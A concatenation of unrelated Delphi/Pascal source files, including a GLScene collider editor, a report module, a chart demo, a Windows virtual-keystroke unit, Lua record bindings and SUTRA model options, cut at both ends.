Button6Click(Generate1);
end;
procedure TMainForm.DeleteAll1Click(Sender: TObject);
begin
Button7Click(DeleteAll1);
end;
procedure TMainForm.Button8Click(Sender: TObject);
begin
if not Assigned(SelectedCollider) then
exit;
ColliderNames.Delete(BonesCombo.ItemIndex);
BonesCombo.DeleteSelected;
GLActor1.Remove(SelectedCollider.Parent, False);
SelectedCollider := nil;
ObjectName.Caption := '';
end;
procedure TMainForm.Load1Click(Sender: TObject);
begin
Button1Click(Load1);
end;
procedure TMainForm.Save1Click(Sender: TObject);
begin
Button2Click(Save1);
end;
procedure TMainForm.About1Click(Sender: TObject);
begin
Application.MessageBox('GLScene Skeleton Collider Editor' + #13 + #10 +
'By Stuart Gooding (2003)', 'About', MB_OK);
end;
procedure TMainForm.Button4Click(Sender: TObject);
var
p1, p2: single;
begin
if not Assigned(SelectedCollider) then
exit;
try
if Trim(RadiusEdit.Text) = '' then
p1 := 0
else
p1 := StrToFloat(RadiusEdit.Text);
if Trim(HeightEdit.Text) = '' then
p2 := 0
else
p2 := StrToFloat(HeightEdit.Text);
except
Application.MessageBox
('Invalid floating point number. Reseting collider data.',
'Error', MB_OK);
Button5Click(Button4);
exit;
end;
if SelectedCollider is TGLSphere then
with TGLSphere(SelectedCollider) do
begin
Radius := p1;
exit;
end;
if SelectedCollider is TGLCylinder then
with TGLCylinder(SelectedCollider) do
begin
TopRadius := p1;
BottomRadius := p1;
Height := p2;
TGLSphere(Children[0]).Radius := TopRadius;
TGLSphere(Children[0]).Position.SetPoint(0, p2 / 2, 0);
TGLSphere(Children[1]).Radius := TopRadius;
TGLSphere(Children[1]).Position.SetPoint(0, -p2 / 2, 0);
end;
end;
end.
|
{*******************************************************************************
* uWAccReport *
* *
* Отчет по начислениям - главный модуль *
* Copyright © 2006, Олег Г. Волков, Донецкий Национальный Университет *
*******************************************************************************}
unit uWAccReport;
interface
uses uCommonSp, DB, Forms, Dialogs, Controls, IBase, uWAccDM;
type
TWAccReport = class(TSprav)
private
DM: TdmWAccReport;
public
constructor Create;
destructor Destroy;override;
procedure Show;override;
end;
function CreateSprav: TSprav;stdcall;
exports CreateSprav;
implementation
uses Variants, SysUtils, uWAccReportParams;
function CreateSprav: TSprav;
begin
Result := TWAccReport.Create;
end;
constructor TWAccReport.Create;
begin
inherited Create;
Input.FieldDefs.Add('DesignReport', ftBoolean);
// подготовить параметры
PrepareMemoryDatasets;
DM := nil;
end;
procedure TWAccReport.Show;
var
Handle: Integer;
form: TfmWAccReportParams;
begin
if DM = nil then
begin
Handle := Input['DBHandle'];
DM := TdmWAccReport.Create(Application.MainForm, TISC_DB_HANDLE(Handle))
end;
form := TfmWAccReportParams.Create(Application.MainForm, DM, Input['DesignReport']);
form.ShowModal;
form.Free;
end;
destructor TWAccReport.Destroy;
begin
if DM <> nil then DM.Free;
end;
end.
|
// Reverse a given natural number.
uses Math, SysUtils;
function integerLength(x: Integer): Integer;
begin
Result := Length(IntToStr(x));
end;
var x, y, m, len: Integer;
begin
Writeln('Enter a natural number:');
Readln(x);
y := 0;
len := integerLength(x);
m := Trunc(IntPower(10, len-1));
while (x > 0) do
begin
y := y + (x mod 10) * m;
x := x div 10;
m := m div 10;
end;
Writeln(y);
end.
|
unit Demo.MaterialScatterChart.Sample;
interface
uses
System.Classes, Demo.BaseFrame, cfs.GCharts;
type
TDemo_MaterialScatterChart_Sample = class(TDemoBaseFrame)
public
procedure GenerateChart; override;
end;
implementation
procedure TDemo_MaterialScatterChart_Sample.GenerateChart;
var
Chart: IcfsGChartProducer; //Defined as TInterfacedObject. No need try..finally
begin
Chart := TcfsGChartProducer.Create;
Chart.ClassChartType := TcfsGChartProducer.CLASS_MATERIAL_SCATTER_CHART;
// Data
Chart.Data.DefineColumns([
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Hours Studied'),
TcfsGChartDataCol.Create(TcfsGChartDataType.gcdtNumber, 'Final')
]);
Chart.Data.AddRow([0, 67]);
Chart.Data.AddRow([1, 88]);
Chart.Data.AddRow([2, 77]);
Chart.Data.AddRow([3, 93]);
Chart.Data.AddRow([4, 85]);
Chart.Data.AddRow([5, 91]);
Chart.Data.AddRow([6, 71]);
Chart.Data.AddRow([7, 78]);
Chart.Data.AddRow([8, 93]);
Chart.Data.AddRow([9, 80]);
Chart.Data.AddRow([10, 82]);
Chart.Data.AddRow([0, 75]);
Chart.Data.AddRow([5, 80]);
Chart.Data.AddRow([3, 90]);
Chart.Data.AddRow([1, 72]);
Chart.Data.AddRow([5, 75]);
Chart.Data.AddRow([6, 68]);
Chart.Data.AddRow([7, 98]);
Chart.Data.AddRow([3, 82]);
Chart.Data.AddRow([9, 94]);
Chart.Data.AddRow([2, 79]);
Chart.Data.AddRow([2, 95]);
Chart.Data.AddRow([2, 86]);
Chart.Data.AddRow([3, 67]);
Chart.Data.AddRow([4, 60]);
Chart.Data.AddRow([2, 80]);
Chart.Data.AddRow([6, 92]);
Chart.Data.AddRow([2, 81]);
Chart.Data.AddRow([8, 79]);
Chart.Data.AddRow([9, 83]);
Chart.Data.AddRow([3, 75]);
Chart.Data.AddRow([1, 80]);
Chart.Data.AddRow([3, 71]);
Chart.Data.AddRow([3, 89]);
Chart.Data.AddRow([4, 92]);
Chart.Data.AddRow([5, 85]);
Chart.Data.AddRow([6, 92]);
Chart.Data.AddRow([7, 78]);
Chart.Data.AddRow([6, 95]);
Chart.Data.AddRow([3, 81]);
Chart.Data.AddRow([0, 64]);
Chart.Data.AddRow([4, 85]);
Chart.Data.AddRow([2, 83]);
Chart.Data.AddRow([3, 96]);
Chart.Data.AddRow([4, 77]);
Chart.Data.AddRow([5, 89]);
Chart.Data.AddRow([4, 89]);
Chart.Data.AddRow([7, 84]);
Chart.Data.AddRow([4, 92]);
Chart.Data.AddRow([9, 98]);
// Options
Chart.Options.Title('Students'' Final Grades');
Chart.Options.Subtitle('based on hours studied');
Chart.Options.HAxis('title', 'Hours Studied');
Chart.Options.VAxis('title', 'Grade');
// Generate
GChartsFrame.DocumentInit;
GChartsFrame.DocumentSetBody(
'<div style="width:80%; height:10%"></div>' +
'<div id="Chart" style="width:80%; height:80%;margin: auto"></div>' +
'<div style="width:80%; height:10%"></div>'
);
GChartsFrame.DocumentGenerate('Chart', Chart);
GChartsFrame.DocumentPost;
end;
initialization
RegisterClass(TDemo_MaterialScatterChart_Sample);
end.
|
{**************************************************************************************}
{ }
{ CCR.VirtualKeying - sending virtual keystrokes on OS X and Windows }
{ }
{ The contents of this file are subject to the Mozilla Public License Version 2.0 }
{ (the "License"); you may not use this file except in compliance with the License. }
{ You may obtain a copy of the License at https://www.mozilla.org/MPL/2.0 }
{ }
{ Software distributed under the License is distributed on an "AS IS" basis, WITHOUT }
{ WARRANTY OF ANY KIND, either express or implied. See the License for the specific }
{ language governing rights and limitations under the License. }
{ }
{ The Initial Developer of the Original Code is Chris Rolliston. Portions created by }
{ Chris Rolliston are Copyright (C) 2015 Chris Rolliston. All Rights Reserved. }
{ }
{**************************************************************************************}
unit VirtualKeying.Win;
interface
{$IFDEF MSWINDOWS}
uses
WinApi.Windows,
System.SysUtils, System.Classes, System.UITypes,
VirtualKeying;
type
IWinVirtualKeySequence = interface(IVirtualKeySequence)
['{C7E50F75-649C-432F-B2B4-9EED57F550D3}']
function Add(Key, Scan: Word; Flags: DWORD; ExtraInfo: ULONG_PTR = 0): IWinVirtualKeySequence; overload;
end;
TWinVirtualKeySequence = class(TVirtualKeySequenceBase, IVirtualKeySequence, IWinVirtualKeySequence)
strict private
FInputCount: Integer;
FInputs: array of TInput;
protected
function Add(Key, Scan: Word; Flags: DWORD; ExtraInfo: ULONG_PTR = 0): IWinVirtualKeySequence; overload;
function Add(Key: Word; Shift: TShiftState;
const EventTypes: array of TVirtualKeyEventType): IVirtualKeySequence; override;
function Add(Ch: Char; const EventTypes: array of TVirtualKeyEventType): IVirtualKeySequence; override;
function Execute: IVirtualKeySequence;
public
constructor Create;
end;
{$ENDIF}
implementation
{$IFDEF MSWINDOWS}
const
EventTypeFlags: array[TVirtualKeyEventType] of DWORD = (0, KEYEVENTF_KEYUP);
{ TWinVirtualKeySequence }
constructor TWinVirtualKeySequence.Create;
begin
inherited Create;
end;
function TWinVirtualKeySequence.Add(Key, Scan: Word; Flags: DWORD; ExtraInfo: ULONG_PTR): IWinVirtualKeySequence;
begin
if FInputCount = 0 then
SetLength(FInputs, 2)
else if Length(FInputs) = FInputCount then
SetLength(FInputs, FInputCount * 2);
FInputs[FInputCount].Itype := INPUT_KEYBOARD;
FInputs[FInputCount].ki.wVk := Key;
FInputs[FInputCount].ki.wScan := Scan;
FInputs[FInputCount].ki.dwFlags := Flags;
FInputs[FInputCount].ki.dwExtraInfo := ExtraInfo;
Inc(FInputCount);
Result := Self;
end;
function TWinVirtualKeySequence.Execute: IVirtualKeySequence;
begin
if FInputCount <> 0 then SendInput(FInputCount, FInputs[0], SizeOf(FInputs[0]));
Result := Self;
end;
function TWinVirtualKeySequence.Add(Key: Word; Shift: TShiftState;
const EventTypes: array of TVirtualKeyEventType): IVirtualKeySequence;
var
EventType: TVirtualKeyEventType;
procedure DoAdd(Key: Word);
var
ExtFlags: DWORD;
begin
case Key of
VK_UP, VK_DOWN, VK_LEFT, VK_RIGHT, VK_HOME, VK_END, VK_PRIOR, VK_NEXT,
VK_INSERT, VK_DELETE: ExtFlags := KEYEVENTF_EXTENDEDKEY;
else ExtFlags := 0;
end;
Add(Key, MapVirtualKey(Key, MAPVK_VK_TO_VSC), EventTypeFlags[EventType] or ExtFlags);
end;
begin
for EventType in EventTypes do
begin
if ssAlt in Shift then DoAdd(VK_MENU);
if ssCtrl in Shift then DoAdd(VK_CONTROL);
if ssShift in Shift then DoAdd(VK_SHIFT);
DoAdd(Key);
end;
Result := Self;
end;
function TWinVirtualKeySequence.Add(Ch: Char;
const EventTypes: array of TVirtualKeyEventType): IVirtualKeySequence;
var
EventType: TVirtualKeyEventType;
begin
for EventType in EventTypes do
Add(0, Ord(Ch), KEYEVENTF_UNICODE or EventTypeFlags[EventType]);
Result := Self;
end;
initialization
TVirtualKeySequence.SetDefaultImplementation<TWinVirtualKeySequence>;
{$ENDIF}
end.
|
unit ListSourceProperty;
interface
uses
SysUtils, Classes, Controls,
dcedit, dcfdes, dcsystem, dcdsgnstuff;
type
TListSourceProperty = class(TComponentProperty)
function GetAttributes: TPropertyAttributes; override;
procedure GetValues(Proc: TGetStrProc); override;
end;
procedure RegisterListSourceProperty;
implementation
uses
ThVclUtils, ThComponentIterator, ThListSource;
procedure RegisterListSourceProperty;
begin
RegisterPropertyEditor(TypeInfo(TComponent), nil, 'ListSource',
TListSourceProperty);
end;
{ TListSourceProperty }
function TListSourceProperty.GetAttributes: TPropertyAttributes;
begin
Result := [ paMultiSelect, paValueList, paSortList, paRevertable ];
end;
procedure TListSourceProperty.GetValues(Proc: TGetStrProc);
var
s: IThListSource;
begin
with TThComponentIterator.Create(TWinControl(Designer.Root)) do
try
while Next do
if ThIsAs(Component, IThListSource, s) then
Proc(Component.Name);
finally
Free;
end;
end;
end.
|
unit RecTest;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, pLuaRecord, lua, plua;
type
PMyRecord = ^TMyRecord;
TMyRecord = record
AString : AnsiString;
Int : Integer;
Num : Double;
end;
procedure RegisterMyRecordType( L : Plua_State );
procedure RegisterExistingMyRecord( L : Plua_State; InstanceName : AnsiString; RecordPointer : Pointer);
var
MyRecordInfo : TLuaRecordInfo;
implementation
function getAString(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : Integer;
begin
plua_pushstring(L, PMyRecord(RecordPointer)^.AString);
result := 1;
end;
function setAString(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : Integer;
begin
PMyRecord(RecordPointer)^.AString := plua_tostring(l, paramidxstart);
result := 0;
end;
function getInt(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : Integer;
begin
lua_pushinteger(L, PMyRecord(RecordPointer)^.Int);
result := 1;
end;
function setInt(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : Integer;
begin
PMyRecord(RecordPointer)^.Int := lua_tointeger(l, paramidxstart);
result := 0;
end;
function getnumber(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : integer;
begin
lua_pushnumber(L, PMyRecord(RecordPointer)^.Num);
result := 1;
end;
function setnumber(RecordPointer : pointer; l : Plua_State; paramidxstart, paramcount : integer) : integer;
begin
PMyRecord(RecordPointer)^.Num := lua_tonumber(l, paramidxstart);
result := 0;
end;
function newMyRecord(l : Plua_State; paramidxstart, paramcount : integer; InstanceInfo : PLuaRecordInstanceInfo) : Pointer;
var
r : PMyRecord;
begin
new(r);
result := r;
end;
procedure disposeMyRecord( RecordPointer : pointer; l : Plua_State );
begin
Freemem(PMyRecord(RecordPointer));
end;
function MyProcInfo : TLuaRecordInfo;
begin
plua_initRecordInfo(Result);
result.RecordName := 'MyRecord';
result.New := @newMyRecord;
result.Release := @disposeMyRecord;
plua_AddRecordProperty(result, 'AString', @getAString, @setAString);
plua_AddRecordProperty(result, 'Int', @getInt, @setInt);
plua_AddRecordProperty(result, 'Num', @getnumber, @setnumber);
end;
procedure RegisterMyRecordType(L: Plua_State);
begin
plua_registerRecordType(l, MyRecordInfo);
end;
procedure RegisterExistingMyRecord(L: Plua_State; InstanceName: AnsiString;
RecordPointer: Pointer);
begin
plua_registerExistingRecord(L, InstanceName, RecordPointer, @MyRecordInfo);
end;
initialization
MyRecordInfo := MyProcInfo;
finalization
end.
|
unit SutraOptionsUnit;
interface
uses
GoPhastTypes, Classes, SysUtils;
type
TTransportChoice = (tcSolute, tcSoluteHead, tcEnergy);
TSaturationChoice = (scSaturated, scUnsaturated);
TSimulationType = (stSteadyFlowSteadyTransport,
stSteadyFlowTransientTransport, stTransientFlowTransientTransport);
TStartType = (stCold, stWarm);
TPressureSolutionMethod = (psmDirect, pcmCG, psmGMRES, psmOthomin);
TUSolutionMethod = (usmDirect, usmGMRES, usmOthomin);
TSorptionModel = (smNone, smLinear, smFreundlich, smLangmuir);
TReadStart = (rsNone, rsPressure, rsU, rsBoth);
TSutraLakeOptions = class(TGoPhastPersistent)
private
FStoredSubmergedOutput: TRealStorage;
FStoredRechargeFraction: TRealStorage;
FStoredDischargeFraction: TRealStorage;
FLakeOutputCycle: Integer;
FMaxLakeIterations: Integer;
FStoredMinLakeVolume: TRealStorage;
procedure SetStoredDischargeFraction(const Value: TRealStorage);
procedure SetLakeOutputCycle(const Value: Integer);
procedure SetMaxLakeIterations(const Value: Integer);
procedure SetStoredMinLakeVolume(const Value: TRealStorage);
procedure SetStoredRechargeFraction(const Value: TRealStorage);
procedure SetStoredSubmergedOutput(const Value: TRealStorage);
function GetDischargeFraction: double;
function GetMinLakeVolume: double;
function GetRechargeFraction: double;
function GetSubmergedOutput: double;
procedure SetDischargeFraction(const Value: double);
procedure SetMinLakeVolume(const Value: double);
procedure SetRechargeFraction(const Value: double);
procedure SetSubmergedOutput(const Value: double);
public
procedure Assign(Source: TPersistent); override;
Constructor Create(InvalidateModelEvent: TNotifyEvent);
destructor Destroy; override;
procedure Initialize;
// FRROD
property RechargeFraction: double read GetRechargeFraction
write SetRechargeFraction;
// FDROD
property DischargeFraction: double read GetDischargeFraction
write SetDischargeFraction;
// VLIM
property MinLakeVolume: double read GetMinLakeVolume write SetMinLakeVolume;
// RNOLK
property SubmergedOutput: double read GetSubmergedOutput
write SetSubmergedOutput;
published
// ITLMAX
property MaxLakeIterations: Integer read FMaxLakeIterations
write SetMaxLakeIterations;
// NPRLAK
property LakeOutputCycle: Integer read FLakeOutputCycle
write SetLakeOutputCycle;
property StoredRechargeFraction: TRealStorage read FStoredRechargeFraction
write SetStoredRechargeFraction;
property StoredDischargeFraction: TRealStorage read FStoredDischargeFraction
write SetStoredDischargeFraction;
property StoredMinLakeVolume: TRealStorage read FStoredMinLakeVolume
write SetStoredMinLakeVolume;
property StoredSubmergedOutput: TRealStorage read FStoredSubmergedOutput
write SetStoredSubmergedOutput;
end;
TSutraOptions = class(TGoPhastPersistent)
strict private
FModel: TBaseModel;
private
FTransportChoice: TTransportChoice;
FSaturationChoice: TSaturationChoice;
FTitleLines: AnsiString;
FSimulationType: TSimulationType;
FStartType: TStartType;
FFullRestartFileName: string;
FRestartFrequency: Integer;
FMaxIterations: Integer;
FUSolutionMethod: TUSolutionMethod;
FMaxTransportIterations: Integer;
FMaxPressureIterations: Integer;
FPresSolutionMethod: TPressureSolutionMethod;
FStoredTransportCriterion: TRealStorage;
FStoredPressureCriterion: TRealStorage;
FStoredFractionalUpstreamWeight: TRealStorage;
FStoredPressureFactor: TRealStorage;
FStoredUCriterion: TRealStorage;
FStoredNonLinPressureCriterion: TRealStorage;
FStoredUFactor: TRealStorage;
FStoredBaseConcentration: TRealStorage;
FStoredBaseFluidDensity: TRealStorage;
FStoredViscosity: TRealStorage;
FStoredFluidCompressibility: TRealStorage;
FStoredFluidDiffusivity: TRealStorage;
FStoredFluidDensityCoefficientConcentration: TRealStorage;
FStoredFluidSpecificHeat: TRealStorage;
FStoredSolidGrainSpecificHeat: TRealStorage;
FStoredMatrixCompressibility: TRealStorage;
FStoredSolidGrainDensity: TRealStorage;
FStoredFirstDistributionCoefficient: TRealStorage;
FStoredSolidGrainDiffusivity: TRealStorage;
FSorptionModel: TSorptionModel;
FStoredSecondDistributionCoefficient: TRealStorage;
FStoredZeroFluidProduction: TRealStorage;
FStoredFirstFluidProduction: TRealStorage;
FStoredGravityZ: TRealStorage;
FStoredGravityX: TRealStorage;
FStoredGravityY: TRealStorage;
FStoredZeroImmobileProduction: TRealStorage;
FStoredFirstImmobileProduction: TRealStorage;
FStoredScaleFactor: TRealStorage;
FStoredFluidThermalConductivity: TRealStorage;
FStoredFluidDensityCoefficientTemperature: TRealStorage;
FStoredBaseTemperature: TRealStorage;
FFullReadStartRestartFileName: string;
FReadStart: TReadStart;
FLakeOptions: TSutraLakeOptions;
procedure SetTransportChoice(const Value: TTransportChoice);
procedure SetSaturationChoice(const Value: TSaturationChoice);
procedure SetTitleLines(const Value: AnsiString);
procedure SetSimulationType(const Value: TSimulationType);
procedure SetRestartFileName(const Value: string);
procedure SetStartType(const Value: TStartType);
procedure SetRestartFrequency(const Value: Integer);
procedure SetFractionalUpstreamWeight(const Value: double);
procedure SetPressureFactor(const Value: double);
procedure SetUFactor(const Value: double);
procedure SetMaxIterations(const Value: Integer);
procedure SetPressureCriterion(const Value: double);
procedure SetUCriterion(const Value: double);
procedure SetMaxPressureIterations(const Value: Integer);
procedure SetMaxTransportIterations(const Value: Integer);
procedure SetPresSolutionMethod(const Value: TPressureSolutionMethod);
procedure SetTransportCriterion(const Value: double);
procedure SetUSolutionMethod(const Value: TUSolutionMethod);
procedure SetNonLinPressureCriterion(const Value: double);
procedure ValueChanged(Sender: TObject);
function GetFractionalUpstreamWeight: double;
function GetNonLinPressureCriterion: double;
function GetPressureCriterion: double;
function GetPressureFactor: double;
function GetTransportCriterion: double;
function GetUCriterion: double;
function GetUFactor: double;
procedure SetStoredFractionalUpstreamWeight(const Value: TRealStorage);
procedure SetStoredNonLinPressureCriterion(const Value: TRealStorage);
procedure SetStoredPressureCriterion(const Value: TRealStorage);
procedure SetStoredPressureFactor(const Value: TRealStorage);
procedure SetStoredTransportCriterion(const Value: TRealStorage);
procedure SetStoredUCriterion(const Value: TRealStorage);
procedure SetStoredUFactor(const Value: TRealStorage);
procedure SetStoredBaseFluidDensity(const Value: TRealStorage);
procedure SetStoredBaseConcentration(const Value: TRealStorage);
procedure SetStoredFluidCompressibility(const Value: TRealStorage);
procedure SetStoredFluidDensityCoefficientConcentration(const Value: TRealStorage);
procedure SetStoredFluidDiffusivity(const Value: TRealStorage);
procedure SetStoredFluidSpecificHeat(const Value: TRealStorage);
procedure SetStoredViscosity(const Value: TRealStorage);
function GetBaseFluidDensity: double;
function GetBaseConcentration: double;
function GetFluidCompressibility: double;
function GetFluidDensityCoefficientConcentration: double;
function GetFluidDiffusivity: double;
function GetFluidSpecificHeat: double;
function GetViscosity: double;
procedure SetBaseFluidDensity(const Value: double);
procedure SetBaseConcentration(const Value: double);
procedure SetFluidCompressibility(const Value: double);
procedure SetFluidDensityCoefficientConcentration(const Value: double);
procedure SetFluidDiffusivity(const Value: double);
procedure SetFluidSpecificHeat(const Value: double);
procedure SetViscosity(const Value: double);
function GetFirstDistributionCoefficient: double;
function GetMatrixCompressibility: double;
function GetSecondDistributionCoefficient: double;
function GetSolidGrainDensity: double;
function GetSolidGrainDiffusivity: double;
function GetSolidGrainSpecificHeat: double;
procedure SetFirstDistributionCoefficient(const Value: double);
procedure SetMatrixCompressibility(const Value: double);
procedure SetSecondDistributionCoefficient(const Value: double);
procedure SetSolidGrainDensity(const Value: double);
procedure SetSolidGrainDiffusivity(const Value: double);
procedure SetSolidGrainSpecificHeat(const Value: double);
procedure SetSorptionModel(const Value: TSorptionModel);
procedure SetStoredFirstDistributionCoefficient(const Value: TRealStorage);
procedure SetStoredMatrixCompressibility(const Value: TRealStorage);
procedure SetStoredSecondDistributionCoefficient(const Value: TRealStorage);
procedure SetStoredSolidGrainDensity(const Value: TRealStorage);
procedure SetStoredSolidGrainDiffusivity(const Value: TRealStorage);
procedure SetStoredSolidGrainSpecificHeat(const Value: TRealStorage);
function GetFirstFluidProduction: double;
function GetFirstImmobileProduction: double;
function GetGravityX: double;
function GetGravityY: double;
function GetGravityZ: double;
function GetZeroFluidProduction: double;
function GetZeroImmobileProduction: double;
procedure SetFirstFluidProduction(const Value: double);
procedure SetFirstImmobileProduction(const Value: double);
procedure SetGravityX(const Value: double);
procedure SetGravityY(const Value: double);
procedure SetGravityZ(const Value: double);
procedure SetStoredFirstFluidProduction(const Value: TRealStorage);
procedure SetStoredFirstImmobileProduction(const Value: TRealStorage);
procedure SetStoredGravityX(const Value: TRealStorage);
procedure SetStoredGravityY(const Value: TRealStorage);
procedure SetStoredGravityZ(const Value: TRealStorage);
procedure SetStoredZeroFluidProduction(const Value: TRealStorage);
procedure SetStoredZeroImmobileProduction(const Value: TRealStorage);
procedure SetZeroFluidProduction(const Value: double);
procedure SetZeroImmobileProduction(const Value: double);
procedure SetStoredScaleFactor(const Value: TRealStorage);
function GetScaleFactor: double;
procedure SetScaleFactor(const Value: double);
procedure SetStoredFluidThermalConductivity(const Value: TRealStorage);
function GetFluidThermalConductivity: Double;
procedure SetFluidThermalConductivity(const Value: Double);
function GetFluidDensityCoefficientTemperature: double;
procedure SetFluidDensityCoefficientTemperature(const Value: double);
procedure SetStoredFluidDensityCoefficientTemperature(
const Value: TRealStorage);
procedure SetStoredBaseTemperature(const Value: TRealStorage);
function GetBaseTemperature: double;
procedure SetBaseTemperature(const Value: double);
procedure SetReadStart(const Value: TReadStart);
procedure SetFullReadStartRestartFileName(Value: string);
function GetRestartFileName: string;
procedure SetFullRestartFileName(Value: string);
function GetReadStartRestartFileName: string;
procedure SetReadStartRestartFileName(const Value: string);
procedure SetLakeOptions(const Value: TSutraLakeOptions);
public
{ TODO -cRefactor : Consider replacing Model with an interface. }
//
property Model: TBaseModel read FModel;
procedure Assign(Source: TPersistent); override;
{ TODO -cRefactor : Consider replacing Model with a TNotifyEvent or interface. }
//
Constructor Create(Model: TBaseModel);
destructor Destroy; override;
procedure Initialize;
// Data Set 5: UP
property FractionalUpstreamWeight: double read GetFractionalUpstreamWeight
write SetFractionalUpstreamWeight;
// Data Set 5: GNUP, Pressure boundary condition factor
property PressureFactor: double read GetPressureFactor
write SetPressureFactor;
// Data Set 5: GNUU, Concentration/temperature boundary condition factor.
property UFactor: double read GetUFactor write SetUFactor;
// Data Set 7a: RPMAX
property NonLinPressureCriterion: double read GetNonLinPressureCriterion
write SetNonLinPressureCriterion;
// Data Set 7a: RUMAX
property UCriterion: double read GetUCriterion write SetUCriterion;
// Data Set 7b: TOLP
property PressureCriterion: double read GetPressureCriterion
write SetPressureCriterion;
// Data Set 7c: TOLU
property TransportCriterion: double read GetTransportCriterion
write SetTransportCriterion;
// Data Set 9: COMPFL
property FluidCompressibility: double read GetFluidCompressibility
write SetFluidCompressibility;
// Data Set 9: CW
property FluidSpecificHeat: double read GetFluidSpecificHeat
write SetFluidSpecificHeat;
// Data Set 9: SIGMAW for solute transport.
// @seealso(FluidThermalConductivity).
property FluidDiffusivity: double read GetFluidDiffusivity
write SetFluidDiffusivity;
// Data Set 9: SIGMAW for energy transport
// @seealso(FluidDiffusivity).
property FluidThermalConductivity: Double read GetFluidThermalConductivity
write SetFluidThermalConductivity;
// Data Set 9: RHOW0
property BaseFluidDensity: double read GetBaseFluidDensity
write SetBaseFluidDensity;
// Data Set 9: URHOW0 for solute transport.
property BaseConcentration: double read GetBaseConcentration write SetBaseConcentration;
// Data Set 9: URHOW0 for energy transport.
property BaseTemperature: double read GetBaseTemperature write SetBaseTemperature;
// Data Set 9: DRWDU for solute transport.
property FluidDensityCoefficientConcentration: double
read GetFluidDensityCoefficientConcentration
write SetFluidDensityCoefficientConcentration;
// Data Set 9: DRWDU for energy transport.
property FluidDensityCoefficientTemperature: double
read GetFluidDensityCoefficientTemperature
write SetFluidDensityCoefficientTemperature;
// Data Set 9: VISC0 for solute transport. @seealso(ScaleFactor).
property Viscosity: double read GetViscosity
write SetViscosity;
// Data Set 9: VISC0 for energy transport. @seealso(Viscosity).
property ScaleFactor: double read GetScaleFactor write SetScaleFactor;
// Data Set 10: COMPMA
property MatrixCompressibility: double read GetMatrixCompressibility
write SetMatrixCompressibility;
// Data Set 10: CS
property SolidGrainSpecificHeat: double read GetSolidGrainSpecificHeat
write SetSolidGrainSpecificHeat;
// Data Set 10: SIGMAS
property SolidGrainDiffusivity: double read GetSolidGrainDiffusivity
write SetSolidGrainDiffusivity;
// Data Set 10: RHOS
property SolidGrainDensity: double read GetSolidGrainDensity
write SetSolidGrainDensity;
// Data Set 11: CHI1
property FirstDistributionCoefficient: double
read GetFirstDistributionCoefficient
write SetFirstDistributionCoefficient;
// Data Set 11: CHI2
property SecondDistributionCoefficient: double
read GetSecondDistributionCoefficient
write SetSecondDistributionCoefficient;
// Data Set 12: PRODFØ
property ZeroFluidProduction: double read GetZeroFluidProduction
write SetZeroFluidProduction;
// Data Set 12: PRODSØ
property ZeroImmobileProduction: double read GetZeroImmobileProduction
write SetZeroImmobileProduction;
// Data Set 12: PRODF1
property FirstFluidProduction: double read GetFirstFluidProduction
write SetFirstFluidProduction;
// Data Set 12: PRODS1
property FirstImmobileProduction: double read GetFirstImmobileProduction
write SetFirstImmobileProduction;
// Data Set 13: GRAVX
property GravityX: double read GetGravityX write SetGravityX;
// Data Set 13: GRAVY
property GravityY: double read GetGravityY write SetGravityY;
// Data Set 13: GRAVZ
property GravityZ: double read GetGravityZ write SetGravityZ;
property FullRestartFileName: string read FFullRestartFileName
write SetFullRestartFileName;
// ICS Data sets 2 and 3
property FullReadStartRestartFileName: string read FFullReadStartRestartFileName
write SetFullReadStartRestartFileName;
published
// Data Set 1: TITLE1 and TITLE2 plus some comments
property TitleLines: AnsiString read FTitleLines write SetTitleLines;
// Data Set 2A: SIMULA
property TransportChoice: TTransportChoice read FTransportChoice
write SetTransportChoice stored true;
// Data Set 4: CUNSAT
property SaturationChoice: TSaturationChoice read FSaturationChoice
write SetSaturationChoice stored true;
// Data Set 4: CSSFLO and CSSTRA
property SimulationType: TSimulationType read FSimulationType
write SetSimulationType stored true;
// Data Set 4: CREAD
property StartType: TStartType read FStartType write SetStartType stored true;
// @name is a relative file name.
property RestartFileName: string read GetRestartFileName
write SetRestartFileName;
// Data Set 4: ISTORE
property RestartFrequency: Integer read FRestartFrequency
write SetRestartFrequency stored true;
// Data Set 5: UP
property StoredFractionalUpstreamWeight: TRealStorage
read FStoredFractionalUpstreamWeight
write SetStoredFractionalUpstreamWeight;
// Data Set 5: GNUP, Pressure boundary condition factor
property StoredPressureFactor: TRealStorage read FStoredPressureFactor
write SetStoredPressureFactor;
// Data Set 5: GNUU, Concentration/temperature boundary condition factor.
property StoredUFactor: TRealStorage read FStoredUFactor
write SetStoredUFactor;
// Data Set 7a: ITRMAX
property MaxIterations: Integer read FMaxIterations write SetMaxIterations stored true;
// Data Set 7a: RPMAX
property StoredNonLinPressureCriterion: TRealStorage
read FStoredNonLinPressureCriterion
write SetStoredNonLinPressureCriterion;
// Data Set 7a: RUMAX
property StoredUCriterion: TRealStorage read FStoredUCriterion
write SetStoredUCriterion;
// Data Set 7b: CSOLVP
property PresSolutionMethod: TPressureSolutionMethod
read FPresSolutionMethod write SetPresSolutionMethod stored true;
// Data Set 7b: ITRMXP
property MaxPressureIterations: Integer read FMaxPressureIterations
write SetMaxPressureIterations stored true;
// Data Set 7b: TOLP
property StoredPressureCriterion: TRealStorage read FStoredPressureCriterion
write SetStoredPressureCriterion;
// Data Set 7c: CSOLVU
property USolutionMethod: TUSolutionMethod read FUSolutionMethod
write SetUSolutionMethod stored true;
// Data Set 7c: ITRMXU
property MaxTransportIterations: Integer read FMaxTransportIterations
write SetMaxTransportIterations stored true;
// Data Set 7c: TOLU
property StoredTransportCriterion: TRealStorage
read FStoredTransportCriterion write SetStoredTransportCriterion;
// Data Set 9: COMPFL
property StoredFluidCompressibility: TRealStorage
read FStoredFluidCompressibility write SetStoredFluidCompressibility;
// Data Set 9: CW
property StoredFluidSpecificHeat: TRealStorage read FStoredFluidSpecificHeat
write SetStoredFluidSpecificHeat;
// Data Set 9: SIGMAW for solute transport.
// @seealso(StoredFluidThermalConductivity).
property StoredFluidDiffusivity: TRealStorage read FStoredFluidDiffusivity
write SetStoredFluidDiffusivity;
// Data Set 9: SIGMAW for energy transport.
